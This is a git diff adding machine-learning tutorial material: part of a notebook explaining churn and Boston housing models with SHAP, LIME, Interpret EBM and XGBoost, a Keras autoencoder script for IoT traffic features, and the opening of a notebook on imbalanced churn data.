+ }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 418 + }, + "id": "OWbFMtet8jiQ", + "outputId": "52c3e1cd-d848-4dec-bad2-2161a15590df" + }, + "outputs": [], + "source": [ + "shap.plots.bar(shap_values_churn_l)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "VsvMb8CA6h9w" + }, + "source": [ + "The below plot illustrates how utilizing the maximum absolute value highlights the number_customer_service_calls and total_intl_calls feature, which have infrequent but large magnitude impacts. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 418 + }, + "id": "oD6zHlF_G8XV", + "outputId": "aedac7ed-4c7a-495a-81cb-cd6482acd7ee" + }, + "outputs": [], + "source": [ + "shap.plots.bar(shap_values_churn_l.abs.max(0))" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "z5RG2_PbBYaG" + }, + "source": [ + "Beow, we can see the beeswarm plot that can be used to summarize the whole distribution of SHAP values for each feature.\n", + "The dot's location on the x-axis indicates whether that attribute contributed positively or negatively to the prediction.\n", + "This allows you to quickly determine if the feature is essentially flat for each forecast or significantly influences specific rows while having little impact on others." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 368 + }, + "id": "5Vf5ELo6HRPf", + "outputId": "40d2689f-bcf3-4270-d6ba-ea4f755a95e9" + }, + "outputs": [], + "source": [ + "shap.plots.beeswarm(shap_values_churn_l)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "VTOf-f1DChg-" + }, + "source": [ + "The below plot represents the frequency with which each feature gave SHAP values for instances utilized in the training procedure. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 410 + }, + "id": "QNvs3WaZHhfw", + "outputId": "afaeea5e-924d-42b2-fd0d-ecfc80a47246" + }, + "outputs": [], + "source": [ + "shap.plots.heatmap(shap_values_churn_l[:1000])" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "KcodBi0e0RnR" + }, + "source": [ + "## LIME\n", + "The SHAP values may be used to explain the logistic regression model.\n", + "But the difficulty is time.\n", + "With a million records, you need more time to construct all permutations and combinations to explain the local accuracy.\n", + "LIME's explanation generation speed avoids this issue in huge dataset processing.\n", + "\n", + "Explanations are the result of the LIME framework. LIME includes three primary functionalities:\n", + "\n", + " - The image explainer interprets image classification models.\n", + " - The text explainer gives insight into text-based models.\n", + " - The tabular explainer determines how much a tabular dataset's features are evaluated throughout the classification process.\n", + "\n", + "\n", + "Lime Tabular Explainer is required to explain tabular matrix data. The term \"local\" refers to the framework's analysis of individual data. It does not provide a comprehensive explanation for why the model performs, but instead describes how a given observation is classified. The user should be able to grasp what a model performs if it is interpretable. Thus, while dealing with image classification, it reveals which parts of the image it evaluated when making predictions, and when working with tabular data, it shows which features influence its choice. Model-agnostic means that it may be used to any blackbox algorithm that exists now or developed in the future.\n", + "\n", + "To generate a LIME output, we define the explanation as explainer.explain _instance and include the observation we picked above, the model.predict_proba, and 16 features, which show us which features are thought to be the most significant in predicting the target variable. \n", + "\n", + "The explaiser:\n", + "\n", + "The explainer itself is part of the LIME library and is presented in the preceding program. Because the explainer had no default settings, we had to specify all of the parameters manually. We first call our now-formatted dataset, followed by a list of all features in our dataset.\n", + "\n", + " - X_train = Training set\n", + " - feature_names = Concatenated list of all feature names\n", + " - class_names = Target values\n", + " - Kernel width = Parameter to control the linearity of the induced model; the larger the width more linear is the model\n", + "\n", + "\n", + "\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "7mVZ1LRA0xCq", + "outputId": "dfbff86a-4b5f-459c-9ab4-3f8feda085db" + }, + "outputs": [], + "source": [ + "explainer = lime.lime_tabular.LimeTabularExplainer(np.array(xtrain),\n", + "feature_names=list(xtrain.columns),\n", + "class_names=['churn_dum'],\n", + "verbose=True, mode='classification')\n", + "# this record is a no churn scenario\n", + "expl = explainer.explain_instance(xtest.iloc[0], l_model.predict_proba,\n", + "num_features=16)\n", + "expl.as_list()" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "JUxyzc1pTUE2" + }, + "source": [ + "Once the explainer model object is created, you may construct explanations by checking for individual and global predictions.\n", + "In classification with two or more classes, you can produce different feature importances for each class in relation to the features column.\n", + "\n", + " For example, total_intl_minutes had a value lower than 8.50 lowered the score of\n", + "the model by about 0.04." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 551 + }, + "id": "Om0fOqN5SKB_", + "outputId": "2457f484-d622-4549-ded6-fc1dae06dbc1" + }, + "outputs": [], + "source": [ + "pd.DataFrame(expl.as_list())" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "T-VOzVdYDOlc" + }, + "source": [ + "Intercept 0.11796923846596004\n", + "Prediction_local [0.10779621]\n", + "Right: 0.1242113883724509" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "DWxRgwywY2QE" + }, + "source": [ + "Running the code produces the LIME output divided into three sections: prediction probabilities on the left, feature probabilities in the middle, and a feature-value table on the right. A graph of prediction probabilities indicates what the model thinks will happen and the related likelihood. There is an 91% chance that the customer will not churn, which is represented by the blue bar, and a 9% chance that he will churn, which is represented by the orange bar.\n", + "\n", + "The feature probability graph illustrates how much a feature impacts a specific choice. The variable number_customer_service_calls is the most influential component in this observation, and it confirms the forecast that the customer will not churn. The second most essential attribute is total_day_minutes. The last graph is the feature value table which displays the actual value of this feature in this observation. \n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 505 + }, + "id": "Rnwfev9ZUnJD", + "outputId": "3a309a48-78c0-454c-8ac5-cb1cf786fbab" + }, + "outputs": [], + "source": [ + "expl.show_in_notebook(show_table=True)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "9aOLdhTm7fnv" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "EYh8fhjZsPGO" + }, + "source": [ + "Although LIME is simple and effective, it is not without flaws. It will be published in 2020 that the first theoretical examination of LIME confirms the importance and relevance of LIME, but it also shows that poor parameter selections might cause LIME to overlook important features. As a result, different interpretations of the same prediction may lead to deployment issues. DLIME, a deterministic variant of LIME, is suggested to overcome this uncertainty. Hierarchical clustering is used to group the data, and k-nearest neighbors (KNN) pick the cluster where the instance in question is thought to reside. " + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "7Xrwm1Alrhnt" + }, + "source": [ + "## Using SHAP for Ensemble Models\n", + "we will use the popular Boston housing prices dataset to explain the model predictions in a regression use case scenario.\n", + "The following are the\n", + "variables from the Boston housing prices dataset:\n", + "\n", + "CRIM: Per capita crime rate by town\n", + "\n", + "• ZN: Proportion of residential land zoned for lots over 25,000 sq.ft.\n", + "\n", + "• INDUS: Proportion of non-retail business acres per town\n", + "\n", + "• CHAS: Charles River dummy variable (1 if tract bounds river; 0\n", + "otherwise)\n", + "\n", + "• NOX: Nitric oxide concentration (parts per 10 million)\n", + "\n", + "• RM: Average number of rooms per dwelling\n", + "\n", + "• AGE: Proportion of owner-occupied units built prior to 1940\n", + "\n", + "• DIS: Weighted distances to five Boston employment centers\n", + "\n", + "• RAD: Index of accessibility to radial highways\n", + "\n", + "• TAX: Full value property tax rate per $10,000\n", + "\n", + "• PTRATIO: Pupil-teacher ratio by town\n", + "\n", + "• B: 1000(Bk - 0.63)^2 where Bk is the proportion of blacks by town\n", + "\n", + "• LSTAT: % lower status of the population\n", + "\n", + "• MEDV: Median value of owner-occupied homes in $1000s" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "s4oGfJT27hpe", + "outputId": "5459e0b1-e089-4e60-8225-8e7dc191e4a6" + }, + "outputs": [], + "source": [ + "# boston Housing price \n", + "X,y = shap.datasets.boston()\n", + "X1000 = shap.utils.sample(X, 1000) # 1000 instances for use as the background distribution\n", + "# a simple linear model\n", + "m_del = sklearn.linear_model.LinearRegression()\n", + "m_del.fit(X, y)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "aTONNsDjdLdZ" + }, + "source": [ + "The Boston housing prices dataset is now part of the SHAP library. The base model calculation happens using the linear regression model so that you can perform the ensemble model on this dataset and compare the results." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ETbx72pqd_n_", + "outputId": "1804fe7b-1c73-4c17-eb5a-f061c5076bf8" + }, + "outputs": [], + "source": [ + "print(\"coefficients of the model:\\n\")\n", + "for i in range(X.shape[1]):\n", + " print(X.columns[i], \"=\", m_del.coef_[i].round(4))" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "x-E0TNhde0zw" + }, + "source": [ + "The starting point is a model's coefficients.\n", + "You'll then compare the coefficients in the complex ensemble models to those in the base linear model. Compare the explanations as well.\n", + "Improved explainability is directly proportional to increased accuracy in prediction. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 296 + }, + "id": "ExAyVmhHfv1T", + "outputId": "a1c1639e-7928-433e-c1a1-c6a7d88ca464" + }, + "outputs": [], + "source": [ + "shap.plots.partial_dependence(\n", + "\"RM\", m_del.predict, X1000, ice=False,\n", + "model_expected_value=True, feature_expected_value=True\n", + ")" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "OIr126IFgSC6" + }, + "source": [ + "You may see the predicted median value of the housing price by looking at the horizontal dotted line E[f(x)]. \n", + "There is a linear relationship between the RM feature and the model's predicted outcome. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 314 + }, + "id": "p6mK7L33jROj", + "outputId": "d8f7819f-29e1-48af-a5e9-067853e1a99d" + }, + "outputs": [], + "source": [ + "# SHAP values computation for the linear model\n", + "explainer1 = shap.Explainer(m_del.predict, X1000)\n", + "shap_values = explainer1(X)\n", + "# make a standard partial dependence plot\n", + "sample_ind = 18\n", + "shap.partial_dependence_plot(\n", + "\"RM\", m_del.predict, X1000, model_expected_value=True,\n", + "feature_expected_value=True, ice=False,\n", + "shap_values=shap_values[sample_ind:sample_ind+1,:]\n", + ")" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "k3BeIMeGkEb6" + }, + "source": [ + "From the above plot we can see that row number 18 from the dataset is superimposed on the PDP plot.\n", + "RM's marginal contribution to the predicted value of the target column is illustrated by an upward-rising straight line in the picture above.\n", + "The discrepancy between the expected value and the average predicted value is shown by the red line in the graph. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Xd5ck7zN-82Y", + "outputId": "c84ba7f4-da93-4378-a22e-89ce95a0a0eb" + }, + "outputs": [], + "source": [ + "X1000 = shap.utils.sample(X,100)\n", + "m_del.predict(X1000).mean() ## mean\n", + "m_del.predict(X1000).min() ## minimum\n", + "m_del.predict(X1000).max() ## maximum\n", + "shap_values[18:19,:] ## shap values\n", + "X[18:19]\n", + "m_del.predict(X[18:19])\n", + "shap_values[18:19,:].values.sum() + shap_values[18:19,:].base_values" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "7JFpAm-b_Ykd" + }, + "source": [ + "The predicted outcome for record number 18 is 16.178, and the total of the SHAP values from various features, as well as the base value, is equal to the predicted value. \n", + " From the below plot, SHAP values are generated using a linear model, which explains why the relationship is linear.\n", + "You can expect the line to be non-linear if you switch to a non-linear model. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 337 + }, + "id": "benhohCIDD5o", + "outputId": "7497dc1f-a01d-4740-a0f6-1711eb6f9d9d" + }, + "outputs": [], + "source": [ + "shap.plots.scatter(shap_values[:,\"RM\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "X7YWyjVoFjXp" + }, + "source": [ + "the plot below display the relationship between predicted result and SHAP values" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 525 + }, + "id": "OLe-SbVoEicl", + "outputId": "4cc8bd62-7087-47f8-d9a5-6e881571b85a" + }, + "outputs": [], + "source": [ + "# the waterfall_plot \n", + "m_del.predict(X)[sample_ind]\n", + "shap.plots.waterfall(shap_values[sample_ind], max_display=13)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "lY5r_pKmImD2" + }, + "source": [ + "The horizontal axis in the figure above displays the predicted result average value, which is 22.841, while the vertical axis shows the SHAP values from different features.\n", + "The dataset's presumed values for each feature are represented in grey, while the negative SHAP values are shown in blue and the positive SHAP values are shown in red. The vertical axis also shows the predicted result for the 18th record, which is 16.178. " + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "EaD3dEmxO_vm" + }, + "source": [ + "## Using the Interpret Explaining Boosting Model\n", + "\n", + "In this section, you will utilize generalized additive models (GAM) to forecast home prices.\n", + "The model fitted using the SHAP library may be explained.\n", + "The interpret Python package may be used to train the generalized additive model, and the trained model object can then be sent through the SHAP model to provide explanations for the boosting models. \n", + "The interpret library can be installed three ways:\n", + "\n", + "!pip install interpret-core\n", + "Using the pip install method, this is done without any dependencies.\n", + "\n", + "conda install -c interpretml interpret-core\n", + "This is a distribution based on anaconda. You may install using the conda environment's terminal. \n", + "\n", + "git clone https://github.com/interpretml/interpret.git && cd interpret/scripts && make install-core\n", + "GitHub is used to get this directly from the source.\n", + "\n", + "Glassbox models: The scikit-learn framework is used to build Glassbox models that are more interpretable while keeping the same degree of accuracy as the current sklearn library. Linear models, decision trees, decision rules, and boosting-based models are all supported.\n", + "\n", + "Blackbox explainers: An approximate explanation of the model's behavior and predictions is provided by blackbox explainers.\n", + "These approaches may be used when none of the machine learning model's components can be interpreted.\n", + "Shapely explanations, LIME explanations, partial dependency plots, and Morris sensitivity analysis may all be supported by these methods.\n" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "H-zeKbXNXSMC" + }, + "source": [ + "To begin, import the glassbox module from interpret, then set up the explainable boosting regressor and fit the model.\n", + "model ebm is the model object. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "JHrkRQEFWO3k", + "outputId": "15e8acc0-3e6b-439e-eaf4-417a2b088ec3" + }, + "outputs": [], + "source": [ + "# fit a GAM model to the data\n", + "m_ebm = interpret.glassbox.ExplainableBoostingRegressor()\n", + "m_ebm.fit(X, y)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "CbgX2v_AbNon" + }, + "source": [ + "You will sample the training dataset to provide a backdrop for creating explanations using the SHAP package.\n", + "In the SHAP explainer, you utilize m_ebm.predict and some samples to construct explanations. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "hSSPfhb-aEZn", + "outputId": "87b9b8e4-d0f5-42f5-96ad-7cb3edac80c1" + }, + "outputs": [], + "source": [ + "# GAM model with SHAP explanation\n", + "expl_ebm = shap.Explainer(m_ebm.predict, X1000)\n", + "shap_v_ebm = expl_ebm(X)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 296 + }, + "id": "N01H5W4od4OG", + "outputId": "d54b95a7-316c-4275-8455-c052bf3e35e6" + }, + "outputs": [], + "source": [ + "# PDP with a single SHAP value \n", + "fig,ax = shap.partial_dependence_plot(\n", + "\"RM\", m_ebm.predict, X, feature_expected_value=True, model_expected_value=True, show=False,ice= False,\n", + "shap_values=shap_v_ebm[sample_ind:sample_ind+1,:]\n", + ")" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "QVEr5Nmfew2G" + }, + "source": [ + "The boosting-based model is shown above .\n", + "There is a non-linear relationship between the RM values and the forecasted target column, which is the average value of housing prices. As the red straight line indicates, we're explaining the same 18th record once again. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 337 + }, + "id": "80XgyJzqi7_g", + "outputId": "bf42e04e-9623-4f9d-d25d-60a50066192a" + }, + "outputs": [], + "source": [ + "shap.plots.scatter(shap_v_ebm[:,\"RM\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "ROXO8Dv0jK7e" + }, + "source": [ + "The relationship shown in the graph above is non-linear.\n", + "At the start, the predicted value does not grow significantly as the RM increases, but beyond a particular stage, the SHAP value for RM climbs exponentially as the RM value increases. " + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "P190M7KrnjA3" + }, + "source": [ + "Here's another representation of the relationship between the SHAP and feature values, as seen in the figure below. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 433 + }, + "id": "kgwqF54FmnhG", + "outputId": "a02b17c4-883d-4fa6-8d18-ad17153add34" + }, + "outputs": [], + "source": [ + "# In order to get at explainer.expected_value, we use the waterfall_plot. \n", + "m_ebm.predict(X)[sample_ind]\n", + "shap.plots.beeswarm(shap_v_ebm, max_display=14)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "aPvt1923qBD3" + }, + "source": [ + "Non-linearity is seen in the below figure, where the extreme gradient boosting regression model is applied to explain ensemble models. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 314 + }, + "id": "M-NZZvYCoMF5", + "outputId": "02bb11af-3c01-45b0-cacb-f08613cf4f3c" + }, + "outputs": [], + "source": [ + "# XGBoost model training\n", + "m_xgb = xgboost.XGBRegressor(n_estimators=100, max_depth=2).fit(X, y)\n", + "# the GAM model explanation with SHAP\n", + "expl_xgb = shap.Explainer(m_xgb, X1000)\n", + "shap_v_xgb = expl_xgb(X)\n", + "## PDP\n", + "fig,ax = shap.partial_dependence_plot(\n", + "\"RM\", m_ebm.predict, X, feature_expected_value=True, model_expected_value=True, show=False,ice= False,\n", + "shap_values=shap_v_ebm[sample_ind:sample_ind+1,:]\n", + ")" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "1Eu43N1-rP3G" + }, + "source": [ + "A non-linear relationship between RM and the SHAP value of RM is seen in the figure below. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 337 + }, + "id": "MAztRoVAqohA", + "outputId": "ac49dba0-3e5d-4a3b-b47e-632c0243757f" + }, + "outputs": [], + "source": [ + "shap.plots.scatter(shap_v_xgb[:,\"RM\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "GDFo7-18t5u_" + }, + "source": [ + "The graph below depicts the same non-linear relationship with an extra overlay of the RAD feature, demonstrating that the higher the RM value, the higher the RAD component, and vice versa. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 337 + }, + "id": "s6mJwUP3rfWN", + "outputId": "ecd3d9b3-b558-424e-8501-f5fc0a7237ce" + }, + "outputs": [], + "source": [ + "shap.plots.scatter(shap_v_xgb[:,\"RM\"], color=shap_values)" + ] + } + ], + "metadata": { + "colab": { + "collapsed_sections": [], + "name": "explainableai_PythonCodeTutorial.ipynb", + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3.9.12 64-bit", + "language": "python", + "name": "python3" + }, + "language_info": { + "name": "python", + "version": "3.9.12" + }, + "vscode": { + "interpreter": { + "hash": "f89a88aed07bbcd763ac68893150ace71e487877d8c6527a76855322f20001c6" + } + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/explainable-ai/requirements.txt b/machine-learning/explainable-ai/requirements.txt new file mode 100644 index 00000000..8296e738 --- /dev/null +++ b/machine-learning/explainable-ai/requirements.txt @@ -0,0 +1,7 @@ +numpy +pandas +matplotlib +sklearn +shap +LIME +interpret-core \ No newline at end of file diff --git a/machine-learning/feature-extraction-autoencoders/README.md b/machine-learning/feature-extraction-autoencoders/README.md new file mode 100644 index 00000000..bdd3ef32 --- /dev/null +++ b/machine-learning/feature-extraction-autoencoders/README.md @@ -0,0 +1,4 @@ +# [Autoencoders for Dimensionality Reduction using TensorFlow in Python](https://www.thepythoncode.com/article/feature-extraction-dimensionality-reduction-autoencoders-python-keras) +To run this: +- `pip install -r requirements.txt` +- Download the dataset (`gafgyt_danmini_doorbell_train.csv` and `gafgyt_danmini_doorbell_test.csv`) from [here](https://www.kaggle.com/datasets/saurabhshahane/anomaly-detection-using-deep-learning?resource=download) \ No newline at end of file diff --git a/machine-learning/feature-extraction-autoencoders/dimensionality_reduction_autoencoders.py b/machine-learning/feature-extraction-autoencoders/dimensionality_reduction_autoencoders.py new file mode 100644 index 00000000..3d3f0ea8 --- /dev/null +++ b/machine-learning/feature-extraction-autoencoders/dimensionality_reduction_autoencoders.py @@ -0,0 +1,47 @@ +import pandas as pd +from sklearn.preprocessing import MinMaxScaler +from tensorflow.keras.models import Model +from tensorflow.keras.layers import Input, Dense, LeakyReLU + + +# Reading Data +df = pd.read_csv("gafgyt_danmini_doorbell_train.csv") +df_test = pd.read_csv("gafgyt_danmini_doorbell_test.csv") +# Keeping only features columns for the train set +df_features = df.loc[:, df.columns != "target"] +print(f"Shape of the train set: {df_features.shape}") +y_train = df.target +# Keeping only features for the test set +df_features_test = df_test.loc[:, df_test.columns != "target"] +y_test = df_test.target +# Applying the normalization on the train then test set +scaler = MinMaxScaler() +df_features = scaler.fit_transform(df_features) +df_features_test = scaler.transform(df_features_test) + +# Implementation of the Autoencoder Model +# input from df_features, dense64, leakyrelu, dense32, leakyrelu, dense16, tanh +input = Input(shape=df_features.shape[1:]) +enc = Dense(64)(input) +enc = LeakyReLU()(enc) +enc = Dense(32)(enc) +enc = LeakyReLU()(enc) +# latent space with tanh +latent_space = Dense(16, activation="tanh")(enc) + +dec = Dense(32)(latent_space) +dec = LeakyReLU()(dec) +dec = Dense(64)(dec) +dec = LeakyReLU()(dec) + +dec = Dense(units=df_features.shape[1], activation="sigmoid")(dec) +# init model +autoencoder = Model(input, dec) +# compile model +autoencoder.compile(optimizer = "adam",metrics=["mse"],loss="mse") +# train model +autoencoder.fit(df_features, df_features, epochs=50, batch_size=32, validation_split=0.25) +encoder = Model(input, latent_space) +# predict on test set +test_au_features = encoder.predict(df_features_test) +print(test_au_features.shape) \ No newline at end of file diff --git a/machine-learning/feature-extraction-autoencoders/requirements.txt b/machine-learning/feature-extraction-autoencoders/requirements.txt new file mode 100644 index 00000000..77747422 --- /dev/null +++ b/machine-learning/feature-extraction-autoencoders/requirements.txt @@ -0,0 +1,3 @@ +tensorflow +pandas +sklearn \ No newline at end of file diff --git a/machine-learning/handling-inbalance-churn-data/Handling_Imbalance_Datasets_PythonCodeTutorial.ipynb b/machine-learning/handling-inbalance-churn-data/Handling_Imbalance_Datasets_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..d4423500 --- /dev/null +++ b/machine-learning/handling-inbalance-churn-data/Handling_Imbalance_Datasets_PythonCodeTutorial.ipynb @@ -0,0 +1,551 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": { + "id": "pyYnq_d3jX9y" + }, + "source": [ + "## Loading the dataset" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "oAKgqSfg4Av_", + "outputId": "2efaaeba-9191-4899-cc23-a30daead997d" + }, + "outputs": [], + "source": [ + "!pip install --upgrade gdown" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "o_YiySaL5JXh", + "outputId": "de9b84e1-f860-42a1-f5c2-33d3c5f8d7c0" + }, + "outputs": [], + "source": [ + "!gdown --id 12vfq3DYFId3bsXuNj_PhsACMzrLTfObs" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "95RkXV8bgVAV", + "outputId": "e1db356b-e9e0-4e61-fe7a-4ed19f740637" + }, + "outputs": [], + "source": [ + "import numpy as np\n", + "from sklearn.model_selection import train_test_split\n", + "from imblearn.over_sampling import SMOTE\n", + "from sklearn.utils import resample\n", + "import pandas as pd\n", + "from sklearn.linear_model import LogisticRegression\n", + "from sklearn.metrics import roc_auc_score, classification_report\n", + "from sklearn.metrics import roc_auc_score\n", + "from sklearn.metrics import confusion_matrix\n", + "from sklearn.linear_model import LogisticRegression\n", + "import statsmodels.api as sm\n", + "import seaborn as sns\n", + "from sklearn.preprocessing import OrdinalEncoder" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 427 + }, + "id": "LbJgEpuFsXo8", + "outputId": "55c9df3b-26bc-4fda-90db-14a88914f4cf" + }, + "outputs": [], + "source": [ + "data=pd.read_csv(\"data_regression.csv\")\n", + "# get the first 10 rows\n", + "data.head(10)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "wc6EPUEBWvIq" + }, + "outputs": [], + "source": [ + "# check for the missing values and dataframes\n", + "def datainspection(dataframe):\n", + " print(\"Types of the variables we are working with:\")\n", + " print(dataframe.dtypes)\n", + " \n", + " print(\"Total Samples with missing values:\")\n", + "\n", + " print(data.isnull().any(axis=1).sum()) # null values\n", + "\n", + " print(\"Total Missing Values per Variable\")\n", + " print(data.isnull().sum())\n", + " print(\"Map of missing values\")\n", + " sns.heatmap(dataframe.isnull())" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 1000 + }, + "id": "aB6NkvMPX9Fx", + "outputId": "ad7a6b57-1cfb-4e30-9288-83191e943c59" + }, + "outputs": [], + "source": [ + "datainspection(data)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "kQVFmR-pjiJj" + }, + "outputs": [], + "source": [ + "data = data.dropna() # cleaning up null values" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 270 + }, + "id": "bRdAmm8yvWJJ", + "outputId": "071d8e5e-58be-4e3e-f6c8-136bd932dfd7" + }, + "outputs": [], + "source": [ + "# function for encoding categorical variables\n", + "def encode_cat(data, vars):\n", + " ord_en = OrdinalEncoder() \n", + " for v in vars:\n", + " name = v+'_code' # add _code for encoded variables\n", + " data[name] = ord_en.fit_transform(data[[v]])\n", + " print('The encoded values for '+ v + ' are:')\n", + " print(data[name].unique())\n", + " return data\n", + "data.head()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 379 + }, + "id": "xGnuojAZzgSG", + "outputId": "9df3f4b2-d04d-427c-e1c3-cf0febfbcc09" + }, + "outputs": [], + "source": [ + "# check for the encoded variables\n", + "data = encode_cat(data, ['gender', 'multi_screen', 'mail_subscribed'])\n", + "data.head()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "dVcl9m6-XhX2" + }, + "outputs": [], + "source": [ + "def full_plot(data, class_col, cols_to_exclude):\n", + " cols = data.select_dtypes(include=np.number).columns.tolist() # finding all the numerical columns from the dataframe\n", + " X = data[cols] # creating a dataframe only with the numerical columns\n", + " X = X[X.columns.difference(cols_to_exclude)] # columns to exclude\n", + " X = X[X.columns.difference([class_col])]\n", + " sns.pairplot(data, hue=class_col)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 1000 + }, + "id": "mhtOwq2-YADb", + "outputId": "185665dd-2c1d-4936-a34d-076ea1f2bd2d" + }, + "outputs": [], + "source": [ + "full_plot(data,class_col='churn', cols_to_exclude=['customer_id','phone_no', 'year'])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "KkQ0mOtRUQOb" + }, + "outputs": [], + "source": [ + "# function for creating plots for selective columns only\n", + "def selected_diagnotic(data,class_col, cols_to_eval):\n", + " cols_to_eval.append(class_col) \n", + " X = data[cols_to_eval] # only selective columns\n", + " sns.pairplot(X, hue=class_col) # plot" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 374 + }, + "id": "on5q6dJuWqG_", + "outputId": "32663e8c-deb5-4ba4-8fdf-c1433adedf10" + }, + "outputs": [], + "source": [ + "selected_diagnotic(data, class_col='churn', cols_to_eval=['videos_watched', 'no_of_days_subscribed'])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "9hOwb2lcZjOZ" + }, + "outputs": [], + "source": [ + "def logistic_regression(data, class_col, cols_to_exclude):\n", + " cols = data.select_dtypes(include=np.number).columns.tolist() \n", + " X = data[cols]\n", + " X = X[X.columns.difference([class_col])] \n", + " X = X[X.columns.difference(cols_to_exclude)] # unwanted columns \n", + "\n", + " y = data[class_col] # the target variable \n", + " logit_model = sm.Logit(y,X) \n", + " result = logit_model.fit() # fit the model \n", + " print(result.summary2()) # check for summary " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "CylJ_cx8lLgS", + "outputId": 